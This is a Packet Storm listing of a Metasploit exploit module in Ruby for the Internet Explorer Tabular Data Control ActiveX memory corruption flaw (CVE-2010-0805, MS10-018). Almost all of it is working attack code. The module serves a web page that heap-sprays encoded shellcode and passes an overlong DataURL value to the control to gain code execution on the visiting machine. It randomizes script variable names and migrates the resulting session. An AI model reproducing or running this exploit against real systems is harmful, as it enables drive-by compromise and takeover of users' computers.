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Internet Explorer Tabular Data Control ActiveX Memory Corruption

🗓️ 07 Apr 2010 00:00:00Reported by anonymousType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 46 Views

Internet Explorer Tabular Data Control ActiveX Memory Corruptio

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Code
`##  
# $Id: ms10_018_ie_tabular_activex.rb 9018 2010-04-05 20:25:56Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',  
'Description' => %q{  
This module exploits a memory corruption vulnerability in the Internet Explorer  
Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet   
Explorer are vulnerable.  
  
By specifying a long value as the "DataURL" parameter to this control, it is possible  
to write a NUL byte outside the bounds of an array. By targeting control flow data  
on the stack, an attacker can execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Anonymous', # original discovery  
'jduck' # metasploit version  
],  
'Version' => '$Revision: 9018 $',  
'References' =>  
[  
[ 'CVE', '2010-0805' ],  
[ 'OSVDB', '63329' ],  
[ 'BID', '39025' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ],  
[ 'MSB', 'MS10-018' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "", #"\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic (Heap Spray)',  
{  
'Ret' => 0x0c0c0c0c  
}  
],  
],  
'DisclosureDate' => 'Mar 09 2010',  
'DefaultTarget' => 0))  
end  
  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...")  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return\nops  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# ActiveX parameters  
#progid =  
clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83"  
  
# exploit url  
url = "http://"  
#url << rand_text_alphanumeric(258)  
url << rand_text_alphanumeric(258+0x116+2)  
  
# Construct the final page  
var_unescape = rand_text_alpha(rand(100) + 1)  
var_shellcode = rand_text_alpha(rand(100) + 1)  
var_memory = rand_text_alpha(rand(100) + 1)  
var_spray = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(100) + 1)  
  
html = %Q|<html><body>  
<script>  
var #{var_memory} = new Array();  
var #{var_unescape} = unescape;  
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');  
var #{var_spray} = #{var_unescape}("#{ret * 2}");  
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 );  
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};  
</script>  
<object classid='clsid:#{clsid}'>  
<param name='DataURL' value='#{url}'/>  
</object>  
</body></html>  
|  
  
# Transmit the compressed response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
  
end  
  
end  
`

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